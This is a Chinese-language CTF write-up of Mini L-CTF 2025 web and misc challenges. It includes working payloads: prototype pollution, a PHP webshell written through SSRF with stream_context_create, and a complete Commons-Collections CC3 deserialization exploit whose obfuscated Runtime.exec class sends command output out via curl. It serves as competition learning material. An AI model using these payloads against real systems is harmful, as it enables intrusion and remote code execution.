西电Mini L-CTF 2025 Web+部分Misc WriteUp

由 Polze Li 发布

Mini L-CTF 2025

前言

队伍 :那年的夏日没等到你

RANK :6

西电Mini L-CTF 2025 Web+部分Misc WriteUp

Misc

吃豆人

西电Mini L-CTF 2025 Web+部分Misc WriteUp

审计game.js代码

西电Mini L-CTF 2025 Web+部分Misc WriteUp

看到逻辑,通过对submit_score发包,达到分数其返回flag,

我们直接控制台fetch

fetch('/submit_score', {
            method: "POST",
            headers: { "Content-Type": "application/json" },
            body: JSON.stringify({ score: 5000 })
        })
            .then(response => response.json())
            .then(data => {
                if (data.flag) {
                    alert("🎉 恭喜!你的flag是:" + data.flag);
                } else {
                    alert("未达到指定分数!");
                }
            });

西电Mini L-CTF 2025 Web+部分Misc WriteUp

麦霸评分

西电Mini L-CTF 2025 Web+部分Misc WriteUp

额发现源音频路径http://127.0.0.1:43762/original.wav

亲测,下载下来再传上去不能达到100%匹配,不知道为什么qwq

我们审查源码script逻辑,发现/compare-recording通过对两音频的比较,flag居然和匹配度没有关系.........他的逻辑是如果有flag则显示flag..........
flag藏在上传音频的data里面aaaaaa

西电Mini L-CTF 2025 Web+部分Misc WriteUp

我们这里溯源formData,传入了audioBlob,这里上传的是recording.wav,我们需要将original.wav替换recording.wav

西电Mini L-CTF 2025 Web+部分Misc WriteUp

再往上看audioBlob的源头,我们从这里入手,让服务器本地fetch其original.wav的路径,然后将其存入audioBlob,然后再传给/compare-recording

西电Mini L-CTF 2025 Web+部分Misc WriteUp

payload1:我们创建original.wav的Blob对象

const response = await fetch('/original.wav');
const audioBlob = await response.blob();
console.log(audioBlob);

payload2:传入/compare-recording

 const formData = new FormData();
 formData.append('audio', audioBlob, '/original.wav');

            fetch('/compare-recording', {
                method: 'POST',
                body: formData
            })
            .then(response => {
                // 检查响应状态
                if (!response.ok) {
                    throw new Error(`服务器响应错误: ${response.status} ${response.statusText}`);
                }
                return response.json();
            })
            .then(data => {
                // 隐藏加载状态
                loader.style.display = 'none';

                // 如果成功获取到录音文件名,保存它
                if (data.filename) {
                    currentRecordingFilename = data.filename;
                }

                // 显示匹配度
                const similarity = parseFloat(data.similarity);
                similarityValue.style.width = `${similarity}%`;

                // 显示结果
                result.textContent = `匹配度: ${similarity.toFixed(2)}% - ${data.message}`;
                result.style.display = 'block';

                // 根据匹配度设置不同的样式
                result.className = 'result';
                if (similarity >= 98) {
                    result.classList.add('result-perfect');
                } else if (similarity >= 85) {
                    result.classList.add('result-high');
                } else if (similarity >= 70) {
                    result.classList.add('result-medium');
                } else {
                    result.classList.add('result-low');
                }

                // 如果有FLAG,显示FLAG弹窗
                if (data.flag) {
                    showFlagModal(data.flag);
                }
            })

最后拿到flag

西电Mini L-CTF 2025 Web+部分Misc WriteUp

Web

Click and Click

js带混淆,需要一点点的逆向吧,前端其他的不管,可以自己逆向,前端点击1000次和10000次触发的东西

这里我们看重要的,这里每点击50次会向/update-amount发一次包,更新后端数据,而且这里更新不是add而是set

西电Mini L-CTF 2025 Web+部分Misc WriteUp

当amount >= 1000时会触发点击过快,而amount >=10000时才返回flag,这很矛盾,我们看click,我们再看10000次点击前端的提示

西电Mini L-CTF 2025 Web+部分Misc WriteUp

这里一开始就是0,amount已经被删除,而后端要读取amount要在往上层去读取,可以打proto原型链污染让他取原型链的值来实现绕过

西电Mini L-CTF 2025 Web+部分Misc WriteUp

payload: POST请求/update-amount

{
  "type":"set",
  "point": {
    "__proto__": {
      "amount": "10000"
    }
  }
}

西电Mini L-CTF 2025 Web+部分Misc WriteUp

GuessOneGuess

一个纯js题目

下载源码看game-ws.js逻辑

西电Mini L-CTF 2025 Web+部分Misc WriteUp

这在js里面如果要大于这个数就是要无限大,我们要普通达到这个分数是不可能的,我们要想办法更改分数为Infinity,才能使这个if通过,使得showFlag

我们看game.pug,这里socket打开了一个punishment连接,向punishment-response后端发送分数,这里分数是scoreDisplay.textContent,这个我们前端是可以改的
西电Mini L-CTF 2025 Web+部分Misc WriteUp

西电Mini L-CTF 2025 Web+部分Misc WriteUp

我们看回game-ws.js后端,这里猜测次数>=100次会向前端punishment发送message,会重置分数,后端重置分数的逻辑是punishment-response收到请求后totalscore = totalscore-data.score,其中data.score是前端数据传来的,则我们只要一直猜不对,totalscore就会是0,而如果我们在第99次时修改前端score,使得data.score=-Infinity,则后端在第100次重置分数时,totalscore就会等于Infinity,满足了第一个if逻辑从而得到flag

西电Mini L-CTF 2025 Web+部分Misc WriteUp

西电Mini L-CTF 2025 Web+部分Misc WriteUp

payload:在第99次时在控制台修改前端的score,然后再触发第100次导致重置分数使得分数等于Infinity

document.getElementById('score-display').textContent = -Infinity

西电Mini L-CTF 2025 Web+部分Misc WriteUp

MiniUp

这里一开始我跑偏了,看到有dufs,而且是内网,以为要机器人读fetch dufs查询根目录的带有f的文件,然后读取,结果后来发现dufs没有路径穿越,只能通过软连接实现穿越,但是又没有zip解压那种软连接功能上传,所以我想应该是其他方向

这里一开始,我们看查看图片有文件泄露,他逻辑是以将文件以base64编码,然后用base64编码图片展示,我们可以获取源码

西电Mini L-CTF 2025 Web+部分Misc WriteUp

index.php

<?php
$dufs_host = '127.0.0.1';
$dufs_port = '5000';

if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['action']) && $_POST['action'] === 'upload') {
    if (isset($_FILES['file'])) {
        $file = $_FILES['file'];

        $filename = $file['name'];

        $allowed_extensions = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp'];

        $file_extension = strtolower(pathinfo($filename, PATHINFO_EXTENSION));

        if (!in_array($file_extension, $allowed_extensions)) {
            echo json_encode(['success' => false, 'message' => '只允许上传图片文件']);
            exit;
        }

        $target_url = 'http://' . $dufs_host . ':' . $dufs_port . '/' . rawurlencode($filename);

            $file_content = file_get_contents($file['tmp_name']);

        $ch = curl_init($target_url);

        curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'PUT');
        curl_setopt($ch, CURLOPT_POSTFIELDS, $file_content);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_HTTPHEADER, [
            'Host: ' . $dufs_host . ':' . $dufs_port,
            'Origin: http://' . $dufs_host . ':' . $dufs_port,
            'Referer: http://' . $dufs_host . ':' . $dufs_port . '/',
            'Accept-Encoding: gzip, deflate',
            'Accept: */*',
            'Accept-Language: en,zh-CN;q=0.9,zh;q=0.8',
            'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36',
            'Content-Length: ' . strlen($file_content)
        ]);

        $response = curl_exec($ch);
        $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

        curl_close($ch);

        if ($http_code >= 200 && $http_code < 300) {
            echo json_encode(['success' => true, 'message' => '图片上传成功']);
        } else {
            echo json_encode(['success' => false, 'message' => '图片上传失败,请稍后再试']);
        }

        exit;
    } else {
        echo json_encode(['success' => false, 'message' => '未选择图片']);
        exit;
    }
}

if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['action']) && $_POST['action'] === 'search') {
    if (isset($_POST['query']) && !empty($_POST['query'])) {
        $search_query = $_POST['query'];

        if (!ctype_alnum($search_query)) {
            echo json_encode(['success' => false, 'message' => '只允许输入数字和字母']);
            exit;
        }

        $search_url = 'http://' . $dufs_host . ':' . $dufs_port . '/?q=' . urlencode($search_query) . '&json';

        $ch = curl_init($search_url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_HTTPHEADER, [
            'Host: ' . $dufs_host . ':' . $dufs_port,
            'Accept: */*',
            'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36'
        ]);

        $response = curl_exec($ch);
        $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        curl_close($ch);

        if ($http_code >= 200 && $http_code < 300) {
            $response_data = json_decode($response, true);
            if (isset($response_data['paths']) && is_array($response_data['paths'])) {
                $image_extensions = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp'];

                $filtered_paths = [];
                foreach ($response_data['paths'] as $item) {
                    $file_name = $item['name'];
                    $extension = strtolower(pathinfo($file_name, PATHINFO_EXTENSION));

                    if (in_array($extension, $image_extensions) || ($item['path_type'] === 'Directory')) {
                        $filtered_paths[] = $item;
                    }
                }

                $response_data['paths'] = $filtered_paths;

                echo json_encode(['success' => true, 'result' => json_encode($response_data)]);
            } else {
                echo json_encode(['success' => true, 'result' => $response]);
            }
        } else {
            echo json_encode(['success' => false, 'message' => '搜索失败,请稍后再试']);
        }

        exit;
    } else {
        echo json_encode(['success' => false, 'message' => '请输入搜索关键词']);
        exit;
    }
}

if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['action']) && $_POST['action'] === 'view') {
    if (isset($_POST['filename']) && !empty($_POST['filename'])) {
        $filename = $_POST['filename'];

        $file_content = @file_get_contents($filename, false, @stream_context_create($_POST['options']));

        if ($file_content !== false) {
            $base64_image = base64_encode($file_content);
            $mime_type = 'image/jpeg';

            echo json_encode([
                'success' => true,
                'is_image' => true,
                'base64_data' => 'data:' . $mime_type . ';base64,' . $base64_image
            ]);
        } else {
            echo json_encode(['success' => false, 'message' => '无法获取图片']);
        }

        exit;
    } else {
        echo json_encode(['success' => false, 'message' => '请输入图片路径']);
        exit;
    }
}
?>

<!DOCTYPE html>
<html>
<head>
    <title>迷你图片空间</title>
    <meta charset="UTF-8">
    <style>
        body {
            font-family: Arial, sans-serif;
            max-width: 800px;
            margin: 0 auto;
            padding: 20px;
            background-color: #f0f8ff;
        }
        .section {
            margin-bottom: 30px;
            padding: 15px;
            border: 1px solid #add8e6;
            border-radius: 5px;
            background-color: white;
            box-shadow: 0 2px 5px rgba(0,0,0,0.1);
        }
        h2 {
            margin-top: 0;
            color: #4682b4;
        }
        .form-group {
            margin-bottom: 15px;
        }
        label {
            display: block;
            margin-bottom: 5px;
            font-weight: bold;
            color: #4682b4;
        }
        input[type="text"], input[type="file"] {
            width: 100%;
            padding: 8px;
            box-sizing: border-box;
            border: 1px solid #add8e6;
            border-radius: 4px;
        }
        button {
            padding: 10px 15px;
            background-color: #4682b4;
            color: white;
            border: none;
            border-radius: 4px;
            cursor: pointer;
        }
        button:hover {
            background-color: #5f9ea0;
        }
        .result {
            margin-top: 15px;
            padding: 10px;
            border: 1px solid #add8e6;
            border-radius: 4px;
            background-color: #f0f8ff;
            display: none;
        }
        pre {
            white-space: pre-wrap;
            word-wrap: break-word;
            background-color: #f5f5f5;
            padding: 10px;
            border-radius: 4px;
            max-height: 300px;
            overflow-y: auto;
        }
    </style>
</head>
<body>
<h1>迷你图片空间</h1>

<div class="section">
    <h2>上传图片</h2>
    <form id="uploadForm" enctype="multipart/form-data">
        <input type="hidden" name="action" value="upload">
        <div class="form-group">
            <label for="file">选择图片:</label>
            <input type="file" id="file" name="file" required>
            <small>支持所有类型的图片</small>
        </div>
        <button type="submit">上传图片</button>
    </form>
    <div id="uploadResult" class="result"></div>
</div>

<div class="section">
    <h2>搜索图片</h2>
    <form id="searchForm">
        <input type="hidden" name="action" value="search">
        <div class="form-group">
            <label for="query">搜索关键词:</label>
            <input type="text" id="query" name="query" required
                   pattern="[a-zA-Z0-9]+"
                   title="只允许输入数字和字母"
                   placeholder="输入图片关键词(仅限数字和字母)">
        </div>
        <button type="submit">搜索</button>
    </form>
    <div id="searchResult" class="result">
        <h3>搜索结果:</h3>
        <div id="searchResultContent"></div>
    </div>
</div>

<div class="section">
    <h2>查看图片</h2>
    <form id="viewForm">
        <input type="hidden" name="action" value="view">
        <div class="form-group">
            <label for="filename">图片路径:</label>
            <input type="text" id="filename" name="filename" required placeholder="输入图片路径">
        </div>
        <button type="submit">查看图片</button>
    </form>
    <div id="viewResult" class="result">
        <h3>图片预览:</h3>
        <div id="fileContent"></div>
    </div>
</div>

<script>
    document.getElementById('uploadForm').addEventListener('submit', function(e) {
        e.preventDefault();

        var formData = new FormData(this);

        fetch('index.php', {
            method: 'POST',
            body: formData
        })
            .then(response => response.json())
            .then(data => {
                var resultDiv = document.getElementById('uploadResult');
                resultDiv.style.display = 'block';
                resultDiv.innerHTML = data.message;
                resultDiv.style.color = data.success ? 'green' : 'red';
            })
            .catch(error => {
                var resultDiv = document.getElementById('uploadResult');
                resultDiv.style.display = 'block';
                resultDiv.innerHTML = '上传过程中发生错误';
                resultDiv.style.color = 'red';
            });
    });

    document.getElementById('searchForm').addEventListener('submit', function(e) {
        e.preventDefault();

        var searchQuery = document.getElementById('query').value;

        var alphanumericRegex = /^[a-zA-Z0-9]+$/;
        if (!alphanumericRegex.test(searchQuery)) {
            var resultDiv = document.getElementById('searchResult');
            resultDiv.style.display = 'block';
            document.getElementById('searchResultContent').innerHTML = '<p style="color: red;">只允许输入数字和字母</p>';
            return;
        }

        var formData = new FormData(this);

        fetch('index.php', {
            method: 'POST',
            body: formData
        })
            .then(response => response.json())
            .then(data => {
                var resultDiv = document.getElementById('searchResult');
                resultDiv.style.display = 'block';

                if (data.success) {
                    try {
                        var jsonData = JSON.parse(data.result);

                        if (jsonData.paths && jsonData.paths.length > 0) {
                            var resultHtml = '<table style="width:100%; border-collapse: collapse;">';
                            resultHtml += '<thead><tr style="background-color: #f2f2f2;">';
                            resultHtml += '<th style="text-align: left; padding: 8px; border: 1px solid #ddd;">名称</th>';
                            resultHtml += '<th style="text-align: left; padding: 8px; border: 1px solid #ddd;">修改时间</th>';
                            resultHtml += '<th style="text-align: left; padding: 8px; border: 1px solid #ddd;">大小</th>';
                            resultHtml += '<th style="text-align: left; padding: 8px; border: 1px solid #ddd;">操作</th>';
                            resultHtml += '</tr></thead><tbody>';

                            jsonData.paths.forEach(function(item) {
                                var date = new Date(item.mtime);
                                var formattedDate = date.toLocaleString();
                                var fileSize = formatFileSize(item.size);

                                resultHtml += '<tr style="border: 1px solid #ddd;">';
                                resultHtml += '<td style="padding: 8px; border: 1px solid #ddd;">' + item.name + '</td>';
                                resultHtml += '<td style="padding: 8px; border: 1px solid #ddd;">' + formattedDate + '</td>';
                                resultHtml += '<td style="padding: 8px; border: 1px solid #ddd;">' + fileSize + '</td>';
                                resultHtml += '<td style="padding: 8px; border: 1px solid #ddd;">';
                                resultHtml += '<button onclick="viewFile(\'' + item.name + '\')" style="margin-right: 5px;">查看</button>';
                                resultHtml += '</td></tr>';
                            });

                            resultHtml += '</tbody></table>';
                            document.getElementById('searchResultContent').innerHTML = resultHtml;
                        } else {
                            document.getElementById('searchResultContent').innerHTML = '<p>没有找到匹配的图片</p>';
                        }
                    } catch (e) {
                        document.getElementById('searchResultContent').innerHTML = '<p>解析结果时出错</p>';
                    }
                } else {
                    document.getElementById('searchResultContent').innerHTML = '<p>错误: ' + data.message + '</p>';
                }
            })
            .catch(error => {
                var resultDiv = document.getElementById('searchResult');
                resultDiv.style.display = 'block';
                document.getElementById('searchResultContent').innerHTML = '<p>搜索过程中发生错误</p>';
            });
    });

    document.getElementById('viewForm').addEventListener('submit', function(e) {
        e.preventDefault();

        var formData = new FormData(this);

        fetch('index.php', {
            method: 'POST',
            body: formData
        })
            .then(response => response.json())
            .then(data => {
                var resultDiv = document.getElementById('viewResult');
                resultDiv.style.display = 'block';

                if (data.success) {
                    var fileContentDiv = document.getElementById('fileContent');
                    fileContentDiv.textContent = '';

                    var img = document.createElement('img');
                    img.src = data.base64_data;
                    img.style.maxWidth = '100%';
                    img.style.display = 'block';
                    img.style.margin = '0 auto';
                    fileContentDiv.appendChild(img);
                } else {
                    document.getElementById('fileContent').textContent = '错误: ' + data.message;
                }
            })
            .catch(error => {
                console.error('错误:', error);
                var resultDiv = document.getElementById('viewResult');
                resultDiv.style.display = 'block';
                document.getElementById('fileContent').textContent = '获取图片时发生错误';
            });
    });

    function formatFileSize(bytes) {
        if (bytes === 0) return '0 B';

        const k = 1024;
        const sizes = ['B', 'KB', 'MB', 'GB', 'TB'];
        const i = Math.floor(Math.log(bytes) / Math.log(k));

        return parseFloat((bytes / Math.pow(k, i)).toFixed(2)) + ' ' + sizes[i];
    }

    function viewFile(filename) {
        document.getElementById('filename').value = filename;
        document.getElementById('viewForm').dispatchEvent(new Event('submit'));
    }
</script>
</body>
</html>

这里上传严格限制基本没有可以绕过的点,所以排除文件上传漏洞

西电Mini L-CTF 2025 Web+部分Misc WriteUp

这里我们看有dufs服务作为文件存储,再看最后查看图片的file_get_contents方法,有stream_context_create可以仿真http请求,也就是说前面的filename如果是url,后面的参数可以仿真其请求,我们根据前面的代码可以知道dufs大概的创建文件逻辑,我们目的就是要创建一个内存马

西电Mini L-CTF 2025 Web+部分Misc WriteUp

这里创建文件的逻辑是,PUT请求http://127.0.0.1:5000/filename

filename是你要创建的文件名称

西电Mini L-CTF 2025 Web+部分Misc WriteUp

西电Mini L-CTF 2025 Web+部分Misc WriteUp

则我们就post请求

西电Mini L-CTF 2025 Web+部分Misc WriteUp

参数如下

action=view&filename=http://127.0.0.1:5000/shell.php&options[http][method]=PUT&options[http][content]=<?php system($_GET['a']);?>

西电Mini L-CTF 2025 Web+部分Misc WriteUp

ezCC

西电Mini L-CTF 2025 Web+部分Misc WriteUp

西电Mini L-CTF 2025 Web+部分Misc WriteUp

动态cc链就只有cc3了,这个因为不出网,所以我只打通了本地,也知道如何回显,就是访问/handle,让其命令执行的内容返回到context评论,通过评论读回显,但是发现命令curl也没有,因为比赛最后时刻就没有搞了,这里就只展示其rce的cc3链

依赖

        <dependency>
            <groupId>org.javassist</groupId>
            <artifactId>javassist</artifactId>
            <version>3.27.0-GA</version>
        </dependency>
        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.2.1</version>
        </dependency>

看其blacklist,设置了两个,第一个基本ban了命令执行rce,第二个把cc3常用的chainedtransformer ban了

西电Mini L-CTF 2025 Web+部分Misc WriteUp

index这里,在deserialize处理数据,payload,还有长度限制,内存马好像不太行

西电Mini L-CTF 2025 Web+部分Misc WriteUp

这里利用链

HashMap#readObject()
    ↓
TiedMapEntry#hashCode()
    ↓
LazyMap#get()
    ↓
InvokerTransformer#transform()
    ↓
TemplatesImpl#newTransformer()  
    ↓
TemplatesImpl#getTransletInstance()  
    ↓
恶意类

poc(CC3)

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.functors.InvokerTransformer;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

public class CC3 {

    public static void main(String[] args) throws Exception {
        byte[] evilCode = generateEvilClass();
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", new byte[][]{evilCode});
        setFieldValue(templates, "_name", "a");
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

        InvokerTransformer transformer = new InvokerTransformer(
                "getOutputProperties", new Class[0], new Object[0]);

        Map lazyMap = LazyMap.decorate(new HashMap(), transformer);

        TiedMapEntry entry = new TiedMapEntry(lazyMap, templates);

        HashSet hashSet = new HashSet(1);
        hashSet.add("foo");

        Field field = HashSet.class.getDeclaredField("map");
        field.setAccessible(true);
        HashMap hashSetMap = (HashMap) field.get(hashSet);

        Field tableField = HashMap.class.getDeclaredField("table");
        tableField.setAccessible(true);
        Object[] table = (Object[]) tableField.get(hashSetMap);

        Object node = table[0];
        if(node == null) {
            node = table[1];
        }

        Field keyField = node.getClass().getDeclaredField("key");
        keyField.setAccessible(true);
        keyField.set(node, entry);

        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(hashSet);
        oos.close();

        String base64 = java.util.Base64.getEncoder().encodeToString(baos.toByteArray());
        System.out.println(base64);
        byte[] bytes = Base64.getDecoder().decode(base64);
    }

    private static byte[] generateEvilClass() throws Exception {   
        byte[] code = Files.readAllBytes(Paths.get("target/classes/org/example/runtime.class"));
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass cc = pool.makeClass(new ByteArrayInputStream(code));

        // 确保父类设置
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));

        return cc.toBytecode(); 
    }

    private static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static void des_normal(String payload) throws Exception {
        byte[] bytes = Base64.getDecoder().decode(payload);
        ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(bytes));
        objectInputStream.readObject();
    }
}

poc(恶意类runtime.class)

package org.example;

public class runtime {
    static {
        try {
            // 十六进制
            String className = new String(new byte[]{
                    0x6a, 0x61, 0x76, 0x61, 0x2e, 0x6c, 0x61, 0x6e, 0x67, 0x2e, 0x52, 0x75, 0x6e, 0x74, 0x69, 0x6d, 0x65
            }); // "java.lang.Runtime"

            Class<?> clazz = Class.forName(className);
            Object runtime = clazz.getMethod(
                    new String(new byte[]{0x67, 0x65, 0x74, 0x52, 0x75, 0x6e, 0x74, 0x69, 0x6d, 0x65}) // "getRuntime"
            ).invoke(null);

            clazz.getMethod(
                    new String(new byte[]{0x65, 0x78, 0x65, 0x63}), // "exec"
                    String.class
            ).invoke(runtime, "curl -X POST -d \"data=$(ls /)\" http://127.0.0.1:8080/handle");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

这里恶意类利用了十六进制混淆runtime,使其绕过第一个blacklist

这里只展示rce,具体获得flag,请各位大佬自行研究

附IndexController.class

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.example.controller;

import com.example.Components.Comment;
import com.example.tools.BlackList;
import com.example.tools.ByteArrayToStringExtractor;
import com.example.tools.Tools;
import java.io.IOException;
import java.util.ArrayList;
import java.util.List;
import java.util.Set;
import javax.servlet.http.HttpServletRequest;
import org.springframework.core.io.FileSystemResource;
import org.springframework.core.io.Resource;
import org.springframework.http.HttpHeaders;
import org.springframework.http.MediaType;
import org.springframework.http.ResponseEntity;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;

@Controller
public class IndexController {
    public ArrayList<Comment> comments = new ArrayList();
    public BlackList bl = new BlackList();
    Set<String> blacklist;

    public IndexController() {
        this.blacklist = this.bl.blacklist;
    }

    @RequestMapping({"/"})
    @ResponseBody
    public String index(HttpServletRequest request) {
        return "<html><head><style>body { font-family: Arial, sans-serif; background-color: #f0f0f0; padding: 20px; }.container { max-width: 600px; margin: 0 auto; background: white; padding: 20px; border-radius: 8px; box-shadow: 0 0 10px rgba(0,0,0,0.1); }h1 { color: #333; }form { margin-top: 20px; }label { display: block; margin-bottom: 8px; }input[type='text'] { width: 100%; padding: 8px; margin-bottom: 10px; border: 1px solid #ccc; border-radius: 4px; }input[type='submit'] { background-color: #4CAF50; color: white; padding: 10px 20px; border: none; border-radius: 4px; cursor: pointer; }input[type='submit']:hover { background-color: #45a049; }</style></head><body><div class='container'><h1>Welcome to miniLCTF 2025~</h1><p>Do you really know the CC?</p><form action='/handle' method='post'>  <label for='data'>Enter data:</label>  <input type='text' id='data' name='data'>  <input type='submit' value='Submit'></form></div></body></html>";
    }

    @PostMapping({"/handle"})
    public String ser(String data) throws Exception {
        Comment new_comment = new Comment(data);
        byte[] comments_code = Tools.serialize(new_comment);
        String comments_str = Tools.base64Encode(comments_code);
        this.deser(comments_str);
        return "redirect:/show";
    }

    @RequestMapping({"/deserialize"})
    @ResponseBody
    public void deser(String data) throws Exception {
        if (data.length() > 6000) {
            throw new Exception("Payload too long");
        } else {
            byte[] comments_code = Tools.base64Decode(data);
            List<String> result = ByteArrayToStringExtractor.extractVisibleStrings(comments_code);

            for(String i : this.blacklist) {
                for(String s : result) {
                    if (s.contains(i)) {
                        throw new Exception("Forbidden blacklist");
                    }
                }
            }

            try {
                Comment trans_comment = (Comment)Tools.deserialize(comments_code);
                this.comments.add(trans_comment);
            } catch (Exception e) {
                e.printStackTrace();
            }

        }
    }

    @RequestMapping({"/show"})
    @ResponseBody
    public String show(HttpServletRequest request) throws Exception {
        StringBuilder htmlBuilder = new StringBuilder();
        htmlBuilder.append("<html><head><style>").append("body { font-family: Arial, sans-serif; background-color: #f0f0f0; padding: 20px; }").append(".container { max-width: 800px; margin: 0 auto; background: white; padding: 20px; border-radius: 8px; box-shadow: 0 0 10px rgba(0,0,0,0.1); }").append("h1 { color: #333; }").append("ul { list-style-type: none; padding: 0; }").append("li { margin-bottom: 10px; padding: 10px; background-color: #f9f9f9; border-radius: 4px; }").append(".comment-text { font-weight: bold; }").append(".comment-time { color: #666; font-size: 0.9em; }").append("</style></head><body>").append("<div class='container'>").append("<h1>Comments</h1>");
        if (this.comments.isEmpty()) {
            htmlBuilder.append("<p>No comments yet.</p>");
        } else {
            htmlBuilder.append("<ul>");

            for(Comment comment : this.comments) {
                htmlBuilder.append("<li>").append("<span class='comment-text'>").append(comment.getText()).append("</span>").append("<br>").append("<span class='comment-time'>From: ").append(comment.getFormattedTimestamp()).append("</span>").append("</li>");
            }

            htmlBuilder.append("</ul>");
        }

        htmlBuilder.append("</div></body></html>");
        return htmlBuilder.toString();
    }

    @RequestMapping({"/secret"})
    @ResponseBody
    public ResponseEntity<Resource> secret(HttpServletRequest request) throws IOException {
        String path = "/app/final.jar";
        Resource resource = new FileSystemResource(path);
        if (resource.exists() && resource.isReadable()) {
            HttpHeaders headers = new HttpHeaders();
            headers.add("Content-Disposition", "attachment; filename=\"" + resource.getFilename() + "\"");
            return ((ResponseEntity.BodyBuilder)ResponseEntity.ok().headers(headers)).contentLength(resource.contentLength()).contentType(MediaType.APPLICATION_OCTET_STREAM).body(resource);
        } else {
            return ResponseEntity.notFound().build();
        }
    }
}

结尾

MiniL还是很不错的,可惜这次没打pybox,后面复现一下吧,java接触的少,所以到最后时间不够了,燃尽了.......

这次题目偏js多一点,甚至misc都出了两个js题目,额怎么说呢,misc手快成全栈✌了,我web要失业了呜呜呜呜

总体来说应该没有什么错误,如果有些地方写的没有到位或者有错误,还请各位大佬多多指出 Orz


0条评论

发表评论


验证码